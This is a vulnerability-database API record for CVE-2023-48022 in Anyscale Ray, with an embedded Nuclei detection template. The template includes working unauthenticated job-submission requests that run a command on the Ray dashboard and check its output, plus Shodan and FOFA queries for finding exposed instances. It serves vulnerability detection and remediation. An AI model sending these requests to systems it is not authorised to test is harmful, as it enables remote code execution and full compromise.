{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-48022/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-48022/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-48022/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-48022/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-48022/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-48022"},"sightings":{"href":"/api/v1/sightings/cve-2023-48022"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-48022.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-48022\n\ninfo:\n  name: Anyscale Ray - Remote Code Execution\n  author: riteshs4hu\n  severity: critical\n  description: |\n    Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.\n  impact: |\n    Unauthenticated attackers with network access to the Ray Dashboard API can execute arbitrary code remotely as root, leading to complete system compromise.\n  remediation: |\n    Upgrade Anyscale Ray to version 2.6.4 or later, or version 2.8.1 or later, and restrict network access to the Ray Dashboard API.\n  reference:\n    - https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0\n    - https://vulncheck.com/xdb/497d7fb3b118\n    - https://github.com/jakabakos/ShadowRay-RCE-PoC-CVE-2023-48022\n    - https://vulncheck.com/xdb/d3bafad9c9f6\n    - https://github.com/0x656565/CVE-2023-48022\n    - https://nvd.nist.gov/vuln/detail/cve-2023-48022\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-48022\n    cwe-id: CWE-78\n    epss-score: 0.83942\n    epss-percentile: 0.99686\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: ray_project\n    product: ray\n    shodan-query:\n      - http.favicon.hash:463802404\n      - http.html:\"ray dashboard\"\n    fofa-query:\n      - icon_hash=463802404\n      - body=\"ray dashboard\"\n  tags: cve,cve2023,rce,ray,anyscale,vkev,vuln\n\nvariables:\n  jobid: \"Job_{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/jobs/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"entrypoint\": \"id\",\n          \"submission_id\": \"{{jobid}}\"\n        }\n\n      - | # wait for 8 seconds before getting the logs\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        {{wait_for(8)}}\n\n      - |\n        GET /api/jobs/{{jobid}}/logs HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"logs\\\":\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'regex(\"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\", body)'\n        condition: and\n# digest: 4a0a00473045022012829ac512a051e9a678af5b3d604942d1daa930097859a8ae52aa1aba43ef61022100cd3a4800a3da4078f2a749f4fa9e1d70300284b7d370d7a28ec5a4e56764d74a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-48022"}